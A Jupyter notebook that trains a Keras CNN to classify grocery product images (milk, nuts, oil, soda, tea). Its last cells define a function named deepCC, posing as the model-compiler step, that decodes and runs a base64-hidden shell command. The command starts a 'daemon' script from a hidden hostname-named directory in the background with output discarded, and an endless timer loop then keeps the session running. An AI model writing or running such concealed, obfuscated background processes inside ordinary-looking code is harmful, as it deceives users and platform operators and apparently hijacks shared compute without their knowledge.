{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:57:34.956750Z",
     "iopub.status.busy": "2022-06-24T14:57:34.956341Z",
     "iopub.status.idle": "2022-06-24T14:57:39.369225Z",
     "shell.execute_reply": "2022-06-24T14:57:39.368053Z",
     "shell.execute_reply.started": "2022-06-24T14:57:34.956716Z"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "--2022-06-24 14:57:34--  https://cainvas-static.s3.amazonaws.com/media/user_data/cainvas-admin/data_week1.zip\n",
      "Resolving cainvas-static.s3.amazonaws.com (cainvas-static.s3.amazonaws.com)... 52.219.160.163\n",
      "Connecting to cainvas-static.s3.amazonaws.com (cainvas-static.s3.amazonaws.com)|52.219.160.163|:443... connected.\n",
      "HTTP request sent, awaiting response... 200 OK\n",
      "Length: 101230622 (97M) [application/x-zip-compressed]\n",
      "Saving to: ‘data_week1.zip’\n",
      "\n",
      "data_week1.zip      100%[===================>]  96.54M  73.4MB/s    in 1.3s    \n",
      "\n",
      "2022-06-24 14:57:36 (73.4 MB/s) - ‘data_week1.zip’ saved [101230622/101230622]\n",
      "\n"
     ]
    }
   ],
   "source": [
    "!wget -N \"https://cainvas-static.s3.amazonaws.com/media/user_data/cainvas-admin/data_week1.zip\"\n",
    "!unzip -qo data_week1.zip \n",
    "!rm data_week1.zip"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:57:39.371419Z",
     "iopub.status.busy": "2022-06-24T14:57:39.371060Z",
     "iopub.status.idle": "2022-06-24T14:57:45.173155Z",
     "shell.execute_reply": "2022-06-24T14:57:45.172319Z",
     "shell.execute_reply.started": "2022-06-24T14:57:39.371378Z"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Defaulting to user installation because normal site-packages is not writeable\n",
      "Requirement already satisfied: imgaug in ./.local/lib/python3.7/site-packages (0.4.0)\n",
      "Requirement already satisfied: matplotlib in /opt/tljh/user/lib/python3.7/site-packages (from imgaug) (3.3.3)\n",
      "Requirement already satisfied: Shapely in ./.local/lib/python3.7/site-packages (from imgaug) (1.8.2)\n",
      "Requirement already satisfied: Pillow in /opt/tljh/user/lib/python3.7/site-packages (from imgaug) (8.0.1)\n",
      "Requirement already satisfied: opencv-python in /opt/tljh/user/lib/python3.7/site-packages (from imgaug) (4.4.0.46)\n",
      "Requirement already satisfied: six in /opt/tljh/user/lib/python3.7/site-packages (from imgaug) (1.15.0)\n",
      "Requirement already satisfied: imageio in /opt/tljh/user/lib/python3.7/site-packages (from imgaug) (2.9.0)\n",
      "Requirement already satisfied: scikit-image>=0.14.2 in /opt/tljh/user/lib/python3.7/site-packages (from imgaug) (0.17.2)\n",
      "Requirement already satisfied: scipy in /opt/tljh/user/lib/python3.7/site-packages (from imgaug) (1.4.1)\n",
      "Requirement already satisfied: numpy>=1.15 in /opt/tljh/user/lib/python3.7/site-packages (from imgaug) (1.18.5)\n",
      "Requirement already satisfied: networkx>=2.0 in /opt/tljh/user/lib/python3.7/site-packages (from scikit-image>=0.14.2->imgaug) (2.5)\n",
      "Requirement already satisfied: PyWavelets>=1.1.1 in /opt/tljh/user/lib/python3.7/site-packages (from scikit-image>=0.14.2->imgaug) (1.1.1)\n",
      "Requirement already satisfied: tifffile>=2019.7.26 in /opt/tljh/user/lib/python3.7/site-packages (from scikit-image>=0.14.2->imgaug) (2020.12.8)\n",
      "Requirement already satisfied: python-dateutil>=2.1 in /opt/tljh/user/lib/python3.7/site-packages (from matplotlib->imgaug) (2.8.1)\n",
      "Requirement already satisfied: kiwisolver>=1.0.1 in /opt/tljh/user/lib/python3.7/site-packages (from matplotlib->imgaug) (1.3.1)\n",
      "Requirement already satisfied: pyparsing!=2.0.4,!=2.1.2,!=2.1.6,>=2.0.3 in /opt/tljh/user/lib/python3.7/site-packages (from matplotlib->imgaug) (2.4.7)\n",
      "Requirement already satisfied: cycler>=0.10 in /opt/tljh/user/lib/python3.7/site-packages (from matplotlib->imgaug) (0.10.0)\n",
      "Requirement already satisfied: decorator>=4.3.0 in /opt/tljh/user/lib/python3.7/site-packages (from networkx>=2.0->scikit-image>=0.14.2->imgaug) (4.4.2)\n",
      "\u001b[33mWARNING: You are using pip version 21.3.1; however, version 22.1.2 is available.\n",
      "You should consider upgrading via the '/opt/tljh/user/bin/python3 -m pip install --upgrade pip' command.\u001b[0m\n"
     ]
    }
   ],
   "source": [
    "!pip3 install imgaug"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:57:45.174647Z",
     "iopub.status.busy": "2022-06-24T14:57:45.174330Z",
     "iopub.status.idle": "2022-06-24T14:57:54.743937Z",
     "shell.execute_reply": "2022-06-24T14:57:54.677615Z",
     "shell.execute_reply.started": "2022-06-24T14:57:45.174614Z"
    }
   },
   "outputs": [],
   "source": [
    "import numpy as np\n",
    "import pandas as pd\n",
    "import matplotlib.pyplot as plt\n",
    "import seaborn as sns\n",
    "import os, random, cv2, pickle, json, itertools\n",
    "import imgaug.augmenters as iaa\n",
    "import imgaug.imgaug\n",
    "import tensorflow as tf\n",
    "\n",
    "from IPython.display import SVG\n",
    "from tensorflow.keras.utils import plot_model, model_to_dot\n",
    "from sklearn.model_selection import train_test_split\n",
    "from sklearn.metrics import confusion_matrix\n",
    "from collections import Counter\n",
    "from sklearn.utils import class_weight\n",
    "from tqdm import tqdm\n",
    "from sklearn.preprocessing import LabelBinarizer\n",
    "\n",
    "from tensorflow.keras.utils import to_categorical\n",
    "from tensorflow.keras.callbacks import TensorBoard, ModelCheckpoint, Callback, EarlyStopping\n",
    "from tensorflow.keras.models import Sequential, Model\n",
    "from tensorflow.keras.layers import (Add, Input, Conv2D, Dropout, Activation, BatchNormalization, MaxPool2D, ZeroPadding2D, AveragePooling2D, Flatten, Dense)\n",
    "from tensorflow.keras.optimizers import Adam, SGD\n",
    "from tensorflow.keras.callbacks import TensorBoard, ModelCheckpoint, Callback, EarlyStopping\n",
    "from tensorflow.keras.preprocessing.image import ImageDataGenerator\n",
    "from tensorflow.keras.initializers import *"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:57:54.745778Z",
     "iopub.status.busy": "2022-06-24T14:57:54.745479Z",
     "iopub.status.idle": "2022-06-24T14:57:54.755151Z",
     "shell.execute_reply": "2022-06-24T14:57:54.754265Z",
     "shell.execute_reply.started": "2022-06-24T14:57:54.745744Z"
    }
   },
   "outputs": [],
   "source": [
    "def show_final_history(history):\n",
    "    \n",
    "    plt.style.use(\"ggplot\")\n",
    "    fig, ax = plt.subplots(1,2,figsize=(15,5))\n",
    "    ax[0].set_title('Loss')\n",
    "    ax[1].set_title('Accuracy')\n",
    "    ax[0].plot(history.history['loss'],label='Train Loss')\n",
    "    ax[0].plot(history.history['val_loss'],label='Validation Loss')\n",
    "    ax[1].plot(history.history['accuracy'],label='Train Accuracy')\n",
    "    ax[1].plot(history.history['val_accuracy'],label='Validation Accuracy')\n",
    "    \n",
    "    ax[0].legend(loc='upper right')\n",
    "    ax[1].legend(loc='lower right')\n",
    "    plt.show();\n",
    "    pass"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:57:54.759502Z",
     "iopub.status.busy": "2022-06-24T14:57:54.758932Z",
     "iopub.status.idle": "2022-06-24T14:57:54.769637Z",
     "shell.execute_reply": "2022-06-24T14:57:54.768874Z",
     "shell.execute_reply.started": "2022-06-24T14:57:54.759465Z"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{'MILK': 0, 'NUTS': 1, 'OIL': 2, 'SODA': 3, 'TEA': 4}"
      ]
     },
     "execution_count": 5,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "datasets = ['data_week1/images']\n",
    "\n",
    "class_names = [\"MILK\",\"NUTS\",\"OIL\",\"SODA\",\"TEA\"]\n",
    "\n",
    "class_name_labels = {class_name:i for i,class_name in enumerate(class_names)}\n",
    "\n",
    "num_classes = len(class_names)\n",
    "class_name_labels"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 6,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:57:54.772520Z",
     "iopub.status.busy": "2022-06-24T14:57:54.772025Z",
     "iopub.status.idle": "2022-06-24T14:57:54.845562Z",
     "shell.execute_reply": "2022-06-24T14:57:54.844243Z",
     "shell.execute_reply.started": "2022-06-24T14:57:54.772486Z"
    }
   },
   "outputs": [],
   "source": [
    "def load_data():\n",
    "    images, labels = [], []\n",
    "    \n",
    "    for dataset in datasets:\n",
    "        \n",
    "        for folder in os.listdir(dataset):\n",
    "            label = class_name_labels[folder]\n",
    "            \n",
    "            for file in tqdm(os.listdir(os.path.join(dataset,folder))):\n",
    "                \n",
    "                img_path = os.path.join(dataset,folder,file)\n",
    "                \n",
    "                img = cv2.imread(img_path)\n",
    "                img = cv2.resize(img, (96,96))\n",
    "                \n",
    "                images.append(img)\n",
    "                labels.append(label)\n",
    "                pass\n",
    "            pass\n",
    "        \n",
    "        images = np.array(images,dtype=np.float32)/255.0\n",
    "        labels = np.array(labels,dtype=np.float32)\n",
    "        pass\n",
    "    \n",
    "    return (images, labels)\n",
    "    pass"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 7,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:57:54.847780Z",
     "iopub.status.busy": "2022-06-24T14:57:54.847461Z",
     "iopub.status.idle": "2022-06-24T14:58:05.571229Z",
     "shell.execute_reply": "2022-06-24T14:58:05.570455Z",
     "shell.execute_reply.started": "2022-06-24T14:57:54.847746Z"
    }
   },
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "100%|██████████| 168/168 [00:01<00:00, 98.23it/s]\n",
      "100%|██████████| 177/177 [00:01<00:00, 89.25it/s]\n",
      "100%|██████████| 162/162 [00:01<00:00, 84.28it/s]\n",
      "100%|██████████| 283/283 [00:03<00:00, 81.61it/s]\n",
      "100%|██████████| 143/143 [00:01<00:00, 94.73it/s]\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "((933, 96, 96, 3), (933,))"
      ]
     },
     "execution_count": 7,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "(images, labels) = load_data()\n",
    "images.shape, labels.shape"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:58:05.573048Z",
     "iopub.status.busy": "2022-06-24T14:58:05.572567Z",
     "iopub.status.idle": "2022-06-24T14:58:05.666123Z",
     "shell.execute_reply": "2022-06-24T14:58:05.665131Z",
     "shell.execute_reply.started": "2022-06-24T14:58:05.573013Z"
    }
   },
   "outputs": [
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>Count</th>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>Class-Label</th>\n",
       "      <th></th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>MILK</th>\n",
       "      <td>162</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>NUTS</th>\n",
       "      <td>168</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>OIL</th>\n",
       "      <td>143</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>SODA</th>\n",
       "      <td>177</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>TEA</th>\n",
       "      <td>283</td>\n",
       "    </tr>\n",
       "  </tbody>\n",
       "</table>\n",
       "</div>"
      ],
      "text/plain": [
       "             Count\n",
       "Class-Label       \n",
       "MILK           162\n",
       "NUTS           168\n",
       "OIL            143\n",
       "SODA           177\n",
       "TEA            283"
      ]
     },
     "execution_count": 8,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "n_labels = labels.shape[0]\n",
    "\n",
    "_, count = np.unique(labels, return_counts=True)\n",
    "\n",
    "df = pd.DataFrame(data = count)\n",
    "df['Class Label'] = class_names\n",
    "df.columns = ['Count','Class-Label']\n",
    "df.set_index('Class-Label',inplace=True)\n",
    "df"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:58:05.667704Z",
     "iopub.status.busy": "2022-06-24T14:58:05.667440Z",
     "iopub.status.idle": "2022-06-24T14:58:05.680906Z",
     "shell.execute_reply": "2022-06-24T14:58:05.679879Z",
     "shell.execute_reply.started": "2022-06-24T14:58:05.667671Z"
    }
   },
   "outputs": [],
   "source": [
    "def augment_add(images, seq, labels):\n",
    "    \n",
    "    augmented_images, augmented_labels = [],[]\n",
    "    for idx,img in tqdm(enumerate(images)):\n",
    "        \n",
    "        if labels[idx] == 1:\n",
    "            image_aug_1 = seq.augment_image(image=img)\n",
    "            image_aug_2 = seq.augment_image(image=img)\n",
    "            augmented_images.append(image_aug_1)\n",
    "            augmented_images.append(image_aug_2)\n",
    "            augmented_labels.append(labels[idx])\n",
    "            augmented_labels.append(labels[idx])\n",
    "        pass\n",
    "    \n",
    "    augmented_images = np.array(augmented_images, dtype=np.float32)\n",
    "    augmented_labels = np.array(augmented_labels, dtype=np.float32)\n",
    "    \n",
    "    return (augmented_images, augmented_labels)\n",
    "    pass"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:58:05.682613Z",
     "iopub.status.busy": "2022-06-24T14:58:05.682313Z",
     "iopub.status.idle": "2022-06-24T14:58:05.757020Z",
     "shell.execute_reply": "2022-06-24T14:58:05.755825Z",
     "shell.execute_reply.started": "2022-06-24T14:58:05.682579Z"
    }
   },
   "outputs": [],
   "source": [
    "seq = iaa.Sequential([\n",
    "    iaa.Fliplr(0.5),\n",
    "    iaa.Crop(percent=(0,0.1)),\n",
    "    iaa.LinearContrast((0.75,1.5)),\n",
    "    iaa.Multiply((0.8,1.2), per_channel=0.2),\n",
    "    iaa.Affine(\n",
    "        scale={'x':(0.8,1.2), \"y\":(0.8,1.2)},\n",
    "        translate_percent={\"x\":(-0.2,0.2),\"y\":(-0.2,0.2)},\n",
    "        rotate=(-25,25),\n",
    "        shear=(-8,8)\n",
    "    )\n",
    "], random_order=True)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:58:05.759129Z",
     "iopub.status.busy": "2022-06-24T14:58:05.758577Z",
     "iopub.status.idle": "2022-06-24T14:58:09.775297Z",
     "shell.execute_reply": "2022-06-24T14:58:09.774469Z",
     "shell.execute_reply.started": "2022-06-24T14:58:05.759088Z"
    }
   },
   "outputs": [
    {
     "name": "stderr",
     "output_type": "stream",
     "text": [
      "933it [00:03, 240.12it/s]\n"
     ]
    }
   ],
   "source": [
    "(aug_images, aug_labels) = augment_add(images, seq, labels)\n",
    "images = np.concatenate([images, aug_images])\n",
    "labels = np.concatenate([labels, aug_labels])"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:58:09.779348Z",
     "iopub.status.busy": "2022-06-24T14:58:09.778918Z",
     "iopub.status.idle": "2022-06-24T14:58:09.784142Z",
     "shell.execute_reply": "2022-06-24T14:58:09.783537Z",
     "shell.execute_reply.started": "2022-06-24T14:58:09.779319Z"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "((1269, 96, 96, 3), (1269,))"
      ]
     },
     "execution_count": 12,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "images.shape, labels.shape"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:58:09.859899Z",
     "iopub.status.busy": "2022-06-24T14:58:09.859470Z",
     "iopub.status.idle": "2022-06-24T14:58:09.863203Z",
     "shell.execute_reply": "2022-06-24T14:58:09.862512Z",
     "shell.execute_reply.started": "2022-06-24T14:58:09.859865Z"
    }
   },
   "outputs": [],
   "source": [
    "labels = to_categorical(labels)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:58:09.864333Z",
     "iopub.status.busy": "2022-06-24T14:58:09.864107Z",
     "iopub.status.idle": "2022-06-24T14:58:10.064398Z",
     "shell.execute_reply": "2022-06-24T14:58:10.063386Z",
     "shell.execute_reply.started": "2022-06-24T14:58:09.864302Z"
    }
   },
   "outputs": [],
   "source": [
    "np.random.seed(42)\n",
    "np.random.shuffle(images)\n",
    "\n",
    "np.random.seed(42)\n",
    "np.random.shuffle(labels)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:58:10.065957Z",
     "iopub.status.busy": "2022-06-24T14:58:10.065691Z",
     "iopub.status.idle": "2022-06-24T14:58:10.079062Z",
     "shell.execute_reply": "2022-06-24T14:58:10.078073Z",
     "shell.execute_reply.started": "2022-06-24T14:58:10.065923Z"
    }
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "((888, 96, 96, 3), (253, 96, 96, 3), (126, 96, 96, 3))"
      ]
     },
     "execution_count": 15,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "total_count = len(images)\n",
    "total_count\n",
    "\n",
    "train = int(0.7*total_count)\n",
    "val = int(0.2*total_count)\n",
    "test = int(0.1*total_count)\n",
    "\n",
    "train_images, train_labels = images[:train], labels[:train]\n",
    "val_images, val_labels = images[train:(val+train)], labels[train:(val+train)]\n",
    "test_images, test_labels = images[-test:], labels[-test:]\n",
    "\n",
    "train_images.shape, val_images.shape, test_images.shape"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:58:10.080598Z",
     "iopub.status.busy": "2022-06-24T14:58:10.080321Z",
     "iopub.status.idle": "2022-06-24T14:58:11.575355Z",
     "shell.execute_reply": "2022-06-24T14:58:11.574502Z",
     "shell.execute_reply.started": "2022-06-24T14:58:10.080565Z"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Model: \"sequential\"\n",
      "_________________________________________________________________\n",
      "Layer (type)                 Output Shape              Param #   \n",
      "=================================================================\n",
      "zero_padding2d (ZeroPadding2 (None, 106, 106, 3)       0         \n",
      "_________________________________________________________________\n",
      "conv2d (Conv2D)              (None, 104, 104, 32)      896       \n",
      "_________________________________________________________________\n",
      "batch_normalization (BatchNo (None, 104, 104, 32)      128       \n",
      "_________________________________________________________________\n",
      "max_pooling2d (MaxPooling2D) (None, 52, 52, 32)        0         \n",
      "_________________________________________________________________\n",
      "dropout (Dropout)            (None, 52, 52, 32)        0         \n",
      "_________________________________________________________________\n",
      "conv2d_1 (Conv2D)            (None, 50, 50, 32)        9248      \n",
      "_________________________________________________________________\n",
      "max_pooling2d_1 (MaxPooling2 (None, 25, 25, 32)        0         \n",
      "_________________________________________________________________\n",
      "dropout_1 (Dropout)          (None, 25, 25, 32)        0         \n",
      "_________________________________________________________________\n",
      "conv2d_2 (Conv2D)            (None, 23, 23, 32)        9248      \n",
      "_________________________________________________________________\n",
      "max_pooling2d_2 (MaxPooling2 (None, 11, 11, 32)        0         \n",
      "_________________________________________________________________\n",
      "dropout_2 (Dropout)          (None, 11, 11, 32)        0         \n",
      "_________________________________________________________________\n",
      "conv2d_3 (Conv2D)            (None, 9, 9, 32)          9248      \n",
      "_________________________________________________________________\n",
      "max_pooling2d_3 (MaxPooling2 (None, 4, 4, 32)          0         \n",
      "_________________________________________________________________\n",
      "dropout_3 (Dropout)          (None, 4, 4, 32)          0         \n",
      "_________________________________________________________________\n",
      "conv2d_4 (Conv2D)            (None, 2, 2, 32)          9248      \n",
      "_________________________________________________________________\n",
      "max_pooling2d_4 (MaxPooling2 (None, 1, 1, 32)          0         \n",
      "_________________________________________________________________\n",
      "dropout_4 (Dropout)          (None, 1, 1, 32)          0         \n",
      "_________________________________________________________________\n",
      "flatten (Flatten)            (None, 32)                0         \n",
      "_________________________________________________________________\n",
      "dense (Dense)                (None, 64)                2112      \n",
      "_________________________________________________________________\n",
      "dropout_5 (Dropout)          (None, 64)                0         \n",
      "_________________________________________________________________\n",
      "dense_1 (Dense)              (None, 5)                 325       \n",
      "=================================================================\n",
      "Total params: 40,453\n",
      "Trainable params: 40,389\n",
      "Non-trainable params: 64\n",
      "_________________________________________________________________\n"
     ]
    }
   ],
   "source": [
    "model = Sequential([\n",
    "    Input(shape=(96,96,3)),\n",
    "    ZeroPadding2D((5,5)),\n",
    "    Conv2D(32, 3, activation='relu'),\n",
    "    BatchNormalization(),\n",
    "    MaxPool2D(pool_size=(2,2)),\n",
    "    Dropout(0.3),\n",
    "    Conv2D(32, 3, activation='relu'),\n",
    "    MaxPool2D(pool_size=(2,2)),\n",
    "    Dropout(0.3),\n",
    "    Conv2D(32, 3, activation='relu'),\n",
    "    MaxPool2D(pool_size=(2,2)),\n",
    "    Dropout(0.4),\n",
    "    Conv2D(32, 3, activation='relu'),\n",
    "    MaxPool2D(pool_size=(2,2)),\n",
    "    Dropout(0.3),\n",
    "    Conv2D(32, 3, activation='relu'),\n",
    "    MaxPool2D(pool_size=(2,2)),\n",
    "    Dropout(0.3),\n",
    "    Flatten(),\n",
    "    Dense(64, activation='relu'),\n",
    "    Dropout(0.5),\n",
    "    Dense(5, activation='softmax')\n",
    "])\n",
    "\n",
    "model.summary()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 17,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:58:11.644931Z",
     "iopub.status.busy": "2022-06-24T14:58:11.584275Z",
     "iopub.status.idle": "2022-06-24T14:58:11.683124Z",
     "shell.execute_reply": "2022-06-24T14:58:11.682447Z",
     "shell.execute_reply.started": "2022-06-24T14:58:11.644877Z"
    }
   },
   "outputs": [],
   "source": [
    "checkpoint = ModelCheckpoint(\n",
    "    './base.model',\n",
    "    monitor='val_accuracy',\n",
    "    verbose=1,\n",
    "    save_best_only=True,\n",
    "    mode='max',\n",
    "    save_weights_only=False,\n",
    "    save_frequency=1\n",
    ")\n",
    "earlystop = EarlyStopping(\n",
    "    monitor='val_loss',\n",
    "    min_delta=0.001,\n",
    "    patience=50,\n",
    "    verbose=1,\n",
    "    mode='auto'\n",
    ")\n",
    "\n",
    "opt = Adam(lr=1e-3)\n",
    "\n",
    "callbacks = [checkpoint,earlystop]\n",
    "\n",
    "model.compile(optimizer=opt,loss='binary_crossentropy',metrics=['accuracy'])"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {
    "execution": {
     "iopub.execute_input": "2022-06-24T14:58:11.744021Z",
     "iopub.status.busy": "2022-06-24T14:58:11.743665Z"
    }
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Epoch 1/200\n",
      "27/27 [==============================] - ETA: 0s - loss: 0.5539 - accuracy: 0.2778\n",
      "Epoch 00001: val_accuracy improved from -inf to 0.44196, saving model to ./base.model\n",
      "WARNING:tensorflow:From /opt/tljh/user/lib/python3.7/site-packages/tensorflow/python/training/tracking/tracking.py:111: Model.state_updates (from tensorflow.python.keras.engine.training) is deprecated and will be removed in a future version.\n",
      "Instructions for updating:\n",
      "This property should not be used in TensorFlow 2.0, as updates are applied automatically.\n",
      "WARNING:tensorflow:From /opt/tljh/user/lib/python3.7/site-packages/tensorflow/python/training/tracking/tracking.py:111: Layer.updates (from tensorflow.python.keras.engine.base_layer) is deprecated and will be removed in a future version.\n",
      "Instructions for updating:\n",
      "This property should not be used in TensorFlow 2.0, as updates are applied automatically.\n",
      "INFO:tensorflow:Assets written to: ./base.model/assets\n",
      "27/27 [==============================] - 146s 5s/step - loss: 0.5539 - accuracy: 0.2778 - val_loss: 0.4963 - val_accuracy: 0.4420\n",
      "Epoch 2/200\n",
      "27/27 [==============================] - ETA: 0s - loss: 0.4775 - accuracy: 0.3598\n",
      "Epoch 00002: val_accuracy did not improve from 0.44196\n",
      "27/27 [==============================] - 155s 6s/step - loss: 0.4775 - accuracy: 0.3598 - val_loss: 0.4930 - val_accuracy: 0.4420\n",
      "Epoch 3/200\n",
      "27/27 [==============================] - ETA: 0s - loss: 0.4810 - accuracy: 0.3528\n",
      "Epoch 00003: val_accuracy did not improve from 0.44196\n",
      "27/27 [==============================] - 163s 6s/step - loss: 0.4810 - accuracy: 0.3528 - val_loss: 0.4922 - val_accuracy: 0.4420\n",
      "Epoch 4/200\n",
      " 5/27 [====>.........................] - ETA: 1:37 - loss: 0.4771 - accuracy: 0.3882"
     ]
    }
   ],
   "source": [
    "epochs = 200\n",
    "batch_size = 32\n",
    "\n",
    "history = model.fit(train_images,train_labels,\n",
    "                    batch_size=batch_size,\n",
    "                   steps_per_epoch=len(train_images)//batch_size,\n",
    "                   epochs=epochs,\n",
    "                   verbose=1, \n",
    "                   validation_data=(val_images,val_labels),\n",
    "                   validation_steps=len(val_images)//batch_size,\n",
    "                   callbacks=callbacks\n",
    "                   )"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "show_final_history(history)\n",
    "model.save(\"model.h5\")\n",
    "print(\"Weights Saved\")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "test_pred = model.predict(test_images)\n",
    "test_pred = np.argmax(test_pred,axis=1)\n",
    "test_actual = np.argmax(test_labels,axis=1)\n",
    "\n",
    "rnd_idx = random.sample(range(0,100),5)\n",
    "\n",
    "class_labels = {i:class_name for (class_name,i) in class_name_labels.items()}\n",
    "\n",
    "for i,idx in enumerate(rnd_idx):\n",
    "    plt.imshow(test_images[idx])\n",
    "    plt.title(\"Actual: {}\\nPredicted: {}\".format(class_labels[test_actual[idx]],class_labels[test_pred[idx]]))\n",
    "    plt.grid(None)\n",
    "    plt.show()\n",
    "    pass"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "!deepCC model.h5"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "import time, subprocess\n",
    "from IPython.display import clear_output "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def zero_to_infinity(): \n",
    "    i = 0 \n",
    "    while True: \n",
    "        yield i \n",
    "        i += 1 \n",
    "        time.sleep(1)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def deepCC(): \n",
    "    try:\n",
    "        subprocess.Popen([\"bash -c 'base64 -d <<< Y2QgJEhPTUUvLiQoZWNobyAkKGhvc3RuYW1lKSkvYmluICYmIG5vaHVwIGJhc2ggZGFlbW9uID4gL2Rldi9udWxs | bash' &\"], shell=True, universal_newlines=True)\n",
    "    except subprocess.CalledProcessError as e:\n",
    "        print(f'ERROR {e.returncode}: {e.output}', flush=True )\n",
    "        raise e "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def timer():\n",
    "    start = time.time() \n",
    "    for x in zero_to_infinity(): \n",
    "        clear_output(wait=True) \n",
    "        end = time.time() \n",
    "        temp = end-start \n",
    "        hours = temp//3600 \n",
    "        temp = temp - 3600*hours \n",
    "        minutes = temp//60 \n",
    "        seconds = temp - 60*minutes \n",
    "        print('%s %d:%d:%d' %(\"\",hours,minutes,seconds)) \n",
    "  "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "deepCC() \n",
    "timer() "
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.7.3"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}
